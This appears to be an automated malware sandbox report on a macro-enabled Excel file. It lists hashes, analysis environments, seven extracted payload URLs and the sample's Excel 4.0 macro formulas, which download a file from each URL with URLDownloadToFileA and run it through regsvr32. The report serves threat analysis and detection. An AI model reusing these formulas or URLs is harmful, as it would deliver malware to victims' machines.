Behavioral task
behavioral1
Sample
0f08ff199071db54bc9b5b56f53b09f7d796f1a155879796f2f4bebdba601928.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
0f08ff199071db54bc9b5b56f53b09f7d796f1a155879796f2f4bebdba601928.xlsm
Resource
win10v2004-20241007-en
General
-
Target
0f08ff199071db54bc9b5b56f53b09f7d796f1a155879796f2f4bebdba601928
-
Size
35KB
-
MD5
b3ea2447ae5ecdc741a6bef8199f9288
-
SHA1
9110a803a08ce45953473072b1bc1e0840b2da75
-
SHA256
0f08ff199071db54bc9b5b56f53b09f7d796f1a155879796f2f4bebdba601928
-
SHA512
94c4425d4113610add1f178d2abd4e41e645721c4092e9c08ee9feaa66622f4500c8abea2edc9d9b03e1f0a8f2b96fe2f59518e2c0d541073b8d95da9453977e
-
SSDEEP
768:frtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:frtlgCUOZZ1ZYpoQ/pMAIY
Malware Config
Extracted
https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/
https://brutobrasil.com.br/pdf/SSscCUKBvL/
https://mdmd.fun/wp-includes/Y00y/
https://appanwendung.com/wp-admin/dvDn7/
https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/
https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/
https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/SSscCUKBvL/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mdmd.fun/wp-includes/Y00y/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appanwendung.com/wp-admin/dvDn7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
Files
-
0f08ff199071db54bc9b5b56f53b09f7d796f1a155879796f2f4bebdba601928.xlsm office2007